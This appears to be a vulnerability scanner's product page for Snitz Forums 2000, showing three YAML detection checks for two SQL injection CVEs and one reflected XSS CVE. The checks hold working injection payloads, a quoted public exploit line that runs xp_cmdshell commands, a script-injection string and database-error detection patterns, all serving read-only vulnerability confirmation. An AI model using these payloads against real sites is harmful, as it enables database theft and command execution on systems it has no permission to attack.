Snitz Forums — 3 vulnerability checks

noctis ships 3 vulnerability checks for Snitz Forums, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Snitz Forums 2000 members.asp M_NAME SQL Injection

CVECVE-2010-4826
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/snitz-forums/CVE-2010-4826.yaml

Snitz Forums 2000 (classic ASP forum software) 3.4.07 copies the M_NAME parameter of the member list search (members.asp?mode=search) unescaped into an SQL query. An unauthenticated attacker can inject SQL and read the forum database.

This check looks for the Snitz Forums footer on members.asp under the web root and a few usual install paths. Where it is found, it searches the member list for a random name followed by an always-true SQL condition, then an always-false one. The vulnerability is confirmed when only the always-true search lists a member: a name prefix that does not exist can only match when the injected condition is evaluated by the database. When the member list is not shown, a lone quote that raises a database error while a doubled quote does not is reported instead, with a lower confidence. Every request is a read-only search.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{v.d}}/members.asp?mode=search&M_NAME={{pl.name}}{{pl.tail}}
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{v.d}}/members.asp?mode=search&M_NAME={{pk.f}}{{pl.tail}}
  6. HTTP(S) request GET {{v.d}}/members.asp?mode=search&M_NAME={{pk.t}}{{pl.tail}}
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{v.d}}/members.asp?mode=search&M_NAME={{pl.quote}}{{pl.tail}}
  9. HTTP(S) request GET {{v.d}}/members.asp?mode=search&M_NAME={{pl.double}}{{pl.tail}}
  10. Parses / computes the next value with a Rhai script
  11. Parses / computes the next value with a Rhai script
  12. Checks hit_kind for ^boolean$ → finding QoD 97: Snitz Forums 2000 members.asp SQL Injection (CVE-2010-4826)
  13. Checks hit_kind for ^error$ → finding QoD 75: Snitz Forums 2000 members.asp SQL Injection (CVE-2010-4826)

References:

Feed source — tests/vulnerabilities/snitz-forums/CVE-2010-4826.yaml
# Snitz Forums 2000 3.4.07 — members.asp M_NAME SQL injection — CVE-2010-4826
#
# members.asp?mode=search&M_NAME=<prefix>&initial=1&method= lists the members
# whose name starts with <prefix>. The parameter goes into the member search
# query without escaping (3.4.07 is the release named by CVE-2010-4826):
#     ... WHERE M_NAME LIKE '<M_NAME>%' ...
# Whether the clause sits inside a parenthesis depends on the release, so both
# break-out forms are tried.
#
# Detection, per candidate install dir, once the Snitz footer is found on the
# members page:
#   - boolean pair (QoD 97): a random name followed by `' OR 'k' LIKE 'k`
#     (true) must list at least one member (pop_profile.asp link), the same
#     with `LIKE 'j` (false) must list none. A random prefix matches no member,
#     so only an evaluated SQL condition explains the difference.
#   - quote parity (QoD 75, fallback): a lone quote must raise an ADO/ODBC/JET
#     database error, the doubled quote must not.
# Read-only: the request is a member-list search, nothing is written.
#
# Better than the source NASL: it only flags an install whose detected version
# is 3.4.07 and sends nothing. This feed proves the injection itself, so it
# also covers other 3.x releases with the same query and is not fooled by a
# patched 3.4.07 build.
#
# CVSS: NVD carries only a CVSS v2 score (7.5).
# Source: OpenVAS/Greenbone NVT 2011/gb_snitz_forums_2000_xss_n_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802243, GPL-2.0-only). The XSS half (CVE-2010-4827)
# is in CVE-2010-4827.yaml next to this file.
uid: 887b0f28-557a-4ced-822d-ea4141d9ba87
name: "Snitz Forums 2000 members.asp M_NAME SQL Injection (CVE-2010-4826)"
description: |
  Snitz Forums 2000 (classic ASP forum software) 3.4.07 copies the M_NAME
  parameter of the member list search (members.asp?mode=search) unescaped into
  an SQL query. An unauthenticated attacker can inject SQL and read the
  forum database.

  This check looks for the Snitz Forums footer on members.asp under the web
  root and a few usual install paths. Where it is found, it searches the member
  list for a random name followed by an always-true SQL condition, then an
  always-false one. The vulnerability is confirmed when only the always-true
  search lists a member: a name prefix that does not exist can only match when
  the injected condition is evaluated by the database. When the member list is
  not shown, a lone quote that raises a database error while a doubled quote
  does not is reported instead, with a lower confidence. Every request is a
  read-only search.
cves: [CVE-2010-4826]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [snitz, snitz-forums-2000, sqli, boolean-based, asp]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4826"
  - "http://forum.snitz.com/forum/topic.asp?TOPIC_ID=69770"
  - "http://www.securityfocus.com/bid/45381"

steps:
  # ── Random prefix, condition operands and search values ──────────────────
  - id: gen-payloads
    action: script
    code: |
      let n = "noctis" + rand_str(8);
      let k = "n" + rand_str(6);
      let j = "q" + rand_str(6);
      let tail = "&initial=1&method=";
      let q = "%27";
      #{ name: n, k: k, j: j, tail: tail,
         ta: n + q + "%20OR%20" + q + k + q + "%20LIKE%20" + q + k,
         fa: n + q + "%20OR%20" + q + k + q + "%20LIKE%20" + q + j,
         tb: n + q + "%29%20OR%20%28" + q + k + q + "%20LIKE%20" + q + k,
         fb: n + q + "%29%20OR%20%28" + q + k + q + "%20LIKE%20" + q + j,
         quote: n + q, double: n + q + q }
    store_as: pl

  - id: init-hit-kind
    action: set_var
    var_name: hit_kind
    var_value: ""

  - id: init-hit-dir
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path × break-out form (loop group) ──────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: v
      over:
        - {d: "", f: "a"}
        - {d: "", f: "b"}
        - {d: "/forum", f: "a"}
        - {d: "/forum", f: "b"}
        - {d: "/forums", f: "a"}
        - {d: "/forums", f: "b"}
        - {d: "/snitz", f: "a"}
        - {d: "/snitz", f: "b"}
        - {d: "/Forum", f: "a"}
        - {d: "/Forum", f: "b"}
        - {d: "/board", f: "a"}
        - {d: "/board", f: "b"}

  - id: init-false
    action: set_var
    var_name: rfalse
    var_value: {status: 0, body: ""}

  - id: init-true
    action: set_var
    var_name: rtrue
    var_value: {status: 0, body: ""}

  - id: init-quote
    action: set_var
    var_name: rquote
    var_value: {status: 0, body: ""}

  - id: init-double
    action: set_var
    var_name: rdouble
    var_value: {status: 0, body: ""}

  - id: pick
    action: script
    code: 'if v.f == "a" { #{ t: pl.ta, f: pl.fa } } else { #{ t: pl.tb, f: pl.fb } }'
    store_as: pk

  - id: fetch-members
    action: http_request
    method: GET
    path: "{{v.d}}/members.asp?mode=search&M_NAME={{pl.name}}{{pl.tail}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == ""'
    store_as: landing

  - id: fingerprint
    action: script
    condition: 'hit_kind == ""'
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      landing.status >= 200 && landing.status < 400
        && egrep("(?i)(forum\\.snitz\\.com|Snitz Forums 2000)", body) != ""
    store_as: is_snitz

  # Always-false control first.
  - id: search-false
    action: http_request
    method: GET
    path: "{{v.d}}/members.asp?mode=search&M_NAME={{pk.f}}{{pl.tail}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    store_as: rfalse

  - id: search-true
    action: http_request
    method: GET
    path: "{{v.d}}/members.asp?mode=search&M_NAME={{pk.t}}{{pl.tail}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    store_as: rtrue

  - id: check-boolean
    action: script
    condition: 'hit_kind == "" && is_snitz == true'
    code: |
      let bt = if type_of(rtrue.body) == "string" { rtrue.body } else { "" };
      let bf = if type_of(rfalse.body) == "string" { rfalse.body } else { "" };
      let row = "pop_profile\\.asp\\?mode=display";
      if rtrue.status == 200 && rfalse.status == 200
         && egrep(row, bt) != "" && egrep(row, bf) == "" { "boolean" } else { "" }
    store_as: hit_kind

  - id: search-quote
    action: http_request
    method: GET
    path: "{{v.d}}/members.asp?mode=search&M_NAME={{pl.quote}}{{pl.tail}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    store_as: rquote

  - id: search-double
    action: http_request
    method: GET
    path: "{{v.d}}/members.asp?mode=search&M_NAME={{pl.double}}{{pl.tail}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    store_as: rdouble

  - id: check-quote
    action: script
    condition: 'hit_kind == "" && is_snitz == true'
    code: |
      let bq = if type_of(rquote.body) == "string" { rquote.body } else { "" };
      let bd = if type_of(rdouble.body) == "string" { rdouble.body } else { "" };
      let dberr = "(?i)(error '80040e[0-9a-f]{2}'|Microsoft JET Database Engine|\\[Microsoft\\]\\[ODBC|\\[MySQL\\]\\[ODBC|Unclosed quotation mark|You have an error in your SQL syntax|Syntax error[^<]{0,60}query expression)";
      if egrep(dberr, bq) != "" && egrep(dberr, bd) == "" && rdouble.status != 0 { "error" } else { "" }
    store_as: hit_kind

  - id: keep-dir
    action: script
    condition: 'hit_kind != "" && hit_dir == ""'
    code: 'if v.d == "" { "/" } else { v.d }'
    store_as: hit_dir

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-boolean
    action: match
    source: hit_kind
    pattern: "^boolean$"
    on_match:
      finding:
        title: "Snitz Forums 2000 members.asp SQL Injection (CVE-2010-4826)"
        description: "members.asp evaluated SQL injected into the M_NAME parameter of the member list search: a random name prefix followed by an always-true condition listed members, while the same prefix with an always-false condition listed none. An unauthenticated attacker can read the forum database."
        remediation: "Upgrade Snitz Forums 2000 to a release that escapes the M_NAME parameter of members.asp (see the vendor announcement), or restrict access to members.asp."
        confidence_delta: 0.65
        qod: 97
        evidence: "install dir {{hit_dir}}: GET members.asp?mode=search&M_NAME={{pl.name}}' OR '{{pl.k}}' LIKE '{{pl.k}} listed members; the same with LIKE '{{pl.j}} listed none"
      stop: true

  - id: report-error
    action: match
    source: hit_kind
    pattern: "^error$"
    on_match:
      finding:
        title: "Snitz Forums 2000 members.asp SQL Injection (CVE-2010-4826)"
        description: "members.asp passed a quote from the M_NAME parameter of the member list search unescaped to the database: a lone quote raised a database syntax error, while a doubled quote did not. An unauthenticated attacker can inject SQL into the member search query."
        remediation: "Upgrade Snitz Forums 2000 to a release that escapes the M_NAME parameter of members.asp (see the vendor announcement), or restrict access to members.asp."
        confidence_delta: 0.50
        qod: 75
        evidence: "install dir {{hit_dir}}: GET members.asp?mode=search&M_NAME={{pl.name}}' returned a database syntax error; the doubled quote did not"
      stop: true

Snitz Forums 2000 register.asp SQL Injection

CVECVE-2003-0286
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/snitz-forums/CVE-2003-0286.yaml

Snitz Forums 2000 (classic ASP forum software) before 3.4.03 copies the Name and Email fields of the registration form (register.asp?mode=DoIt) unescaped into SQL queries. An unauthenticated attacker can inject SQL, read the database and, on SQL Server back ends, run operating system commands through stored procedures such as xp_cmdshell.

This check looks for the Snitz Forums footer on register.asp under the web root and a few usual install paths. Where it is found, it posts the registration form twice with a random user name and e-mail address followed by an always-true SQL condition, then an always-false one. The vulnerability is confirmed when only the always-true request reports the user name or e-mail address as already in use: an account that does not exist can only match when the injected condition is evaluated by the database. When the forum's messages are translated, a lone quote that raises a database error while a doubled quote does not is reported instead, with a lower confidence. Each request leaves the password empty and gives an invalid home page, so the form is always rejected: no account is created and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/register.asp
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/register.asp?mode=DoIt with a crafted body
  5. HTTP(S) request POST {{dir}}/register.asp?mode=DoIt with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST {{dir}}/register.asp?mode=DoIt with a crafted body
  8. HTTP(S) request POST {{dir}}/register.asp?mode=DoIt with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. Parses / computes the next value with a Rhai script
  11. Checks hit_kind for ^boolean$ → finding QoD 97: Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)
  12. Checks hit_kind for ^error$ → finding QoD 75: Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)

References:

Feed source — tests/vulnerabilities/snitz-forums/CVE-2003-0286.yaml
# Snitz Forums 2000 < 3.4.03 — register.asp SQL injection — CVE-2003-0286
#
# register.asp?mode=DoIt (Snitz Forums 2000 3.3.x, checked against the 3.3.03
# source, sf2k_v33_03.zip on SourceForge) builds two lookups from the raw form:
#     SELECT M_NAME  FROM FORUM_MEMBERS WHERE M_NAME  = '<Trim(Name)>'
#     SELECT M_EMAIL FROM FORUM_MEMBERS WHERE M_EMAIL = '<Trim(Email)>'   (strUniqueEmail = 1, the default)
# Both run before any input validation stops the request; a match adds
# "UserName already in Use" / "Email Address already in use" to the error list.
# 3.4.02+ pass both through chkString(…, "SQLString") (quotes doubled).
# Public PoC (EDB-22583 / EDB-30): Email=' exec master..xp_cmdshell '<cmd>' --
#
# Detection, per candidate install dir, once the Snitz footer
# (forum.snitz.com / "Snitz Forums 2000") is found on register.asp:
#   - boolean pair (QoD 97): a random Name/Email followed by ' OR 'k'='k (true)
#     must produce "already in use", the same with ' OR 'k'='j (false) must give
#     the Snitz error list without it. A random account never exists, so only
#     an evaluated SQL condition explains the difference. Works on Access, SQL
#     Server and MySQL back ends.
#   - quote parity (QoD 75, fallback for localized messages): a lone quote must
#     raise an ADO/ODBC/JET database error, the doubled quote must not.
# Every request leaves Password empty and sets an invalid Homepage (the quote
# probes also put a ';' in Name, rejected by IsValidString), so the
# error list is never empty and register.asp never reaches its INSERT: nothing
# is written, no account is created, no mail is sent.
#
# Better than the source NASL: the NASL only flags an install whose detected
# version equals 3.4.07 — a release whose register.asp escapes both fields (not
# exploitable) — and misses the really vulnerable 3.3.x releases. This feed
# proves the injection itself and does not depend on version detection.
#
# Source: OpenVAS/Greenbone NVT 2009/snitz_forums_2000_35764.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100241, GPL-2.0-only).
uid: 1ac1cfdb-17c0-4447-8c15-8c5c2eb0efd9
name: "Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)"
description: |
  Snitz Forums 2000 (classic ASP forum software) before 3.4.03 copies the Name
  and Email fields of the registration form (register.asp?mode=DoIt) unescaped
  into SQL queries. An unauthenticated attacker can inject SQL, read the
  database and, on SQL Server back ends, run operating system commands through
  stored procedures such as xp_cmdshell.

  This check looks for the Snitz Forums footer on register.asp under the web
  root and a few usual install paths. Where it is found, it posts the
  registration form twice with a random user name and e-mail address followed
  by an always-true SQL condition, then an always-false one. The vulnerability
  is confirmed when only the always-true request reports the user name or
  e-mail address as already in use: an account that does not exist can only
  match when the injected condition is evaluated by the database. When the
  forum's messages are translated, a lone quote that raises a database error
  while a doubled quote does not is reported instead, with a lower confidence.
  Each request leaves the password empty and gives an invalid home page, so
  the form is always rejected: no account is created and nothing is written.
cves: [CVE-2003-0286]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [snitz, snitz-forums-2000, sqli, boolean-based, asp]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2003-0286"
  - "https://www.exploit-db.com/exploits/22583"
  - "https://sourceforge.net/projects/sf2k/"

steps:
  # ── Random account, condition operands and form bodies ───────────────────
  - id: gen-payloads
    action: script
    code: |
      let n = "noctis" + rand_str(8);
      let eu = rand_str(10);
      let ed = rand_str(8) + ".com";
      let em = eu + "%40" + ed;
      let k = "n" + rand_str(6);
      let j = "q" + rand_str(6);
      let t = "%27+OR+%27" + k + "%27%3D%27" + k;
      let f = "%27+OR+%27" + k + "%27%3D%27" + j;
      let tail = "&Password=&Password2=&Homepage=noctis";
      #{ name: n, email: eu + "@" + ed, k: k, j: j,
         btrue: "Name=" + n + t + "&Email=" + em + t + "&Email3=" + em + t + tail,
         bfalse: "Name=" + n + f + "&Email=" + em + f + "&Email3=" + em + f + tail,
         bquote: "Name=" + n + "%3B%27&Email=" + em + "%27&Email3=" + em + "%27" + tail,
         bdouble: "Name=" + n + "%3B%27%27&Email=" + em + "%27%27&Email3=" + em + "%27%27" + tail }
    store_as: pl

  - id: init-hit-kind
    action: set_var
    var_name: hit_kind
    var_value: ""

  - id: init-hit-dir
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/forum", "/forums", "/snitz", "/Forum", "/board"]

  - id: init-false
    action: set_var
    var_name: rfalse
    var_value: {status: 0, body: ""}

  - id: init-true
    action: set_var
    var_name: rtrue
    var_value: {status: 0, body: ""}

  - id: init-quote
    action: set_var
    var_name: rquote
    var_value: {status: 0, body: ""}

  - id: init-double
    action: set_var
    var_name: rdouble
    var_value: {status: 0, body: ""}

  - id: fetch-register
    action: http_request
    method: GET
    path: "{{dir}}/register.asp"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_kind == ""'
    store_as: landing

  - id: fingerprint
    action: script
    condition: 'hit_kind == ""'
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      egrep("(?i)(forum\\.snitz\\.com|Snitz Forums 2000)", body) != ""
    store_as: is_snitz

  # Always-false control first.
  - id: post-false
    action: http_request
    method: POST
    path: "{{dir}}/register.asp?mode=DoIt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pl.bfalse}}"
    store_as: rfalse

  - id: post-true
    action: http_request
    method: POST
    path: "{{dir}}/register.asp?mode=DoIt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pl.btrue}}"
    store_as: rtrue

  - id: check-boolean
    action: script
    condition: 'hit_kind == "" && is_snitz == true'
    code: |
      let bt = if type_of(rtrue.body) == "string" { rtrue.body } else { "" };
      let bf = if type_of(rfalse.body) == "string" { rfalse.body } else { "" };
      let used = "(?i)already in use";
      if egrep(used, bt) != "" && egrep(used, bf) == ""
         && egrep("(?i)There Was A Problem With Your Details", bf) != "" { "boolean" } else { "" }
    store_as: hit_kind

  - id: post-quote
    action: http_request
    method: POST
    path: "{{dir}}/register.asp?mode=DoIt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pl.bquote}}"
    store_as: rquote

  - id: post-double
    action: http_request
    method: POST
    path: "{{dir}}/register.asp?mode=DoIt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_kind == "" && is_snitz == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{pl.bdouble}}"
    store_as: rdouble

  - id: check-quote
    action: script
    condition: 'hit_kind == "" && is_snitz == true'
    code: |
      let bq = if type_of(rquote.body) == "string" { rquote.body } else { "" };
      let bd = if type_of(rdouble.body) == "string" { rdouble.body } else { "" };
      let dberr = "(?i)(error '80040e[0-9a-f]{2}'|Microsoft JET Database Engine|\\[Microsoft\\]\\[ODBC|\\[MySQL\\]\\[ODBC|Unclosed quotation mark|You have an error in your SQL syntax|Syntax error[^<]{0,60}query expression)";
      if egrep(dberr, bq) != "" && egrep(dberr, bd) == "" && rdouble.status != 0 { "error" } else { "" }
    store_as: hit_kind

  - id: keep-dir
    action: script
    condition: 'hit_kind != "" && hit_dir == ""'
    code: 'if dir == "" { "/" } else { dir }'
    store_as: hit_dir

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-boolean
    action: match
    source: hit_kind
    pattern: "^boolean$"
    on_match:
      finding:
        title: "Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)"
        description: "register.asp evaluated SQL injected into the registration form: a random user name and e-mail address followed by an always-true condition were reported as already in use, while the same values with an always-false condition were not. An unauthenticated attacker can read the forum database and, on SQL Server back ends, run commands through stored procedures."
        remediation: "Upgrade Snitz Forums 2000 to 3.4.03 or later (3.4.07 is the last release), which escapes the Name and Email fields of register.asp."
        confidence_delta: 0.65
        qod: 97
        evidence: "install dir {{hit_dir}}: POST register.asp?mode=DoIt with Name/Email {{pl.name}} / {{pl.email}} + ' OR '{{pl.k}}'='{{pl.k}} reported them as already in use; the same with ' OR '{{pl.k}}'='{{pl.j}} did not"
      stop: true

  - id: report-error
    action: match
    source: hit_kind
    pattern: "^error$"
    on_match:
      finding:
        title: "Snitz Forums 2000 register.asp SQL Injection (CVE-2003-0286)"
        description: "register.asp passed a quote from the registration form unescaped to the database: a lone quote in the user name and e-mail address raised a database syntax error, while a doubled quote did not. An unauthenticated attacker can inject SQL into the registration queries."
        remediation: "Upgrade Snitz Forums 2000 to 3.4.03 or later (3.4.07 is the last release), which escapes the Name and Email fields of register.asp."
        confidence_delta: 0.50
        qod: 75
        evidence: "install dir {{hit_dir}}: POST register.asp?mode=DoIt with Name/Email {{pl.name}};' / {{pl.email}}' returned a database syntax error; the doubled quote did not"
      stop: true

Snitz Forums 2000 members.asp M_NAME cross-site scripting

CVECVE-2010-4827
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/snitz-forums/CVE-2010-4827.yaml

Snitz Forums 2000 (classic ASP forum software) 3.4.07 prints the M_NAME parameter of the member list search (members.asp?mode=search) into the page without HTML encoding, so a crafted link runs attacker script in the browser of a forum user who follows it.

This check looks for the Snitz Forums footer on members.asp under the web root and a few usual install paths, and searches the member list for a value that closes the HTML attribute and opens a script element carrying a random marker. The flaw is confirmed when the page (HTTP 200) returns that script element unescaped, and a random page of the same directory, given the same parameters, does not (which rules out servers that echo any URL).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/members.asp?mode=search&M_NAME={{sc.p}}&initial=1&method=
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/{{sc.ctl}}?mode=search&M_NAME={{sc.p}}&initial=1&method=
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for members\.asp → finding QoD 75: Snitz Forums 2000 members.asp cross-site scripting (CVE-2010-4827)

References:

Feed source — tests/vulnerabilities/snitz-forums/CVE-2010-4827.yaml
# Snitz Forums 2000 3.4.07 — members.asp M_NAME reflected XSS — CVE-2010-4827
#
# members.asp?mode=search&M_NAME=<prefix>&initial=1&method= prints the M_NAME
# parameter into the page without HTML encoding. The SQL injection in the same
# parameter (CVE-2010-4826) is in CVE-2010-4826.yaml next to this file.
#
# Detection (QoD 75): on the Snitz members page under the web root and a few
# usual install paths, the search value is a break-out that closes an HTML
# attribute and opens a script element carrying a random marker. The flaw is
# confirmed when the page (HTTP 200, Snitz footer present) returns the element
# verbatim and not only inside a single-quoted attribute. A random page of the
# same directory is requested with the same query: a server that echoes any URL
# raw is not reported.
#
# Better than the source NASL: it only compares the detected version with
# 3.4.07, which also flags patched builds; this feed requires the unescaped
# reflection itself.
#
# CVSS: NVD carries only a CVSS v2 score (4.3).
# Source: OpenVAS/Greenbone NVT 2011/gb_snitz_forums_2000_xss_n_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802243, GPL-2.0-only).
uid: 4e1d54d0-eabe-475d-88fa-fb50a9275407
name: "Snitz Forums 2000 members.asp M_NAME cross-site scripting (CVE-2010-4827)"
description: |
  Snitz Forums 2000 (classic ASP forum software) 3.4.07 prints the M_NAME
  parameter of the member list search (members.asp?mode=search) into the page
  without HTML encoding, so a crafted link runs attacker script in the browser
  of a forum user who follows it.

  This check looks for the Snitz Forums footer on members.asp under the web
  root and a few usual install paths, and searches the member list for a
  value that closes the HTML attribute and opens a script element carrying a
  random marker. The flaw is confirmed when the page (HTTP 200) returns that
  script element unescaped, and a random page of the same directory, given the
  same parameters, does not (which rules out servers that echo any URL).
cves: [CVE-2010-4827]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [snitz, snitz-forums-2000, xss, reflected, asp]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4827"
  - "http://forum.snitz.com/forum/topic.asp?TOPIC_ID=69770"
  - "http://www.securityfocus.com/bid/45381"

steps:
  - id: gen-marker
    action: script
    code: |
      let tok = "noctis" + rand_int(10000000, 99999999);
      #{ tok: tok,
         want: "\"><script>alert(/" + tok + "/)</script>",
         sq: "='[^'<>]*\"><script>alert\\(/" + tok + "/\\)",
         p: "%22%3E%3Cscript%3Ealert%28%2F" + tok + "%2F%29%3C%2Fscript%3E%3C%22",
         ctl: "noctis" + rand_hex(6) + ".asp" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-r
    action: set_var
    var_name: r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/forum", "/forums", "/snitz", "/Forum", "/board"]

  - id: init-c
    action: set_var
    var_name: c
    var_value: {status: 0, body: ""}

  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/members.asp?mode=search&M_NAME={{sc.p}}&initial=1&method="
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit == ""'
    store_as: r

  - id: check-probe
    action: script
    condition: 'hit == ""'
    code: |
      let b = if type_of(r.body) == "string" { r.body } else { "" };
      r.status == 200 && b.contains(sc.want) && !ereg(sc.sq, b)
        && egrep("(?i)(forum\\.snitz\\.com|Snitz Forums 2000)", b) != ""
    store_as: reflected

  # Generic-reflection control: same query on a random page of the directory.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/{{sc.ctl}}?mode=search&M_NAME={{sc.p}}&initial=1&method="
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit == "" && reflected'
    store_as: c

  - id: check
    action: script
    condition: 'hit == ""'
    code: |
      let cb = if type_of(c.body) == "string" { c.body } else { "" };
      if reflected && !cb.contains(sc.want) { dir + "/members.asp" } else { "" }
    store_as: hit

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "members\\.asp"
    condition: 'hit != ""'
    on_match:
      finding:
        title: "Snitz Forums 2000 members.asp cross-site scripting (CVE-2010-4827)"
        description: "members.asp returned a script element passed in the M_NAME parameter without HTML encoding: a crafted link runs attacker script in the browser of a forum user who follows it, in the context of the site."
        remediation: "Upgrade Snitz Forums 2000 to a release that encodes the M_NAME parameter of members.asp before printing it (see the vendor announcement)."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{hit}}?mode=search&M_NAME=<attribute break-out> returned {{sc.want}} unescaped (HTTP 200); a random page of the same directory did not reflect it"
      stop: true

View these feeds on GitHub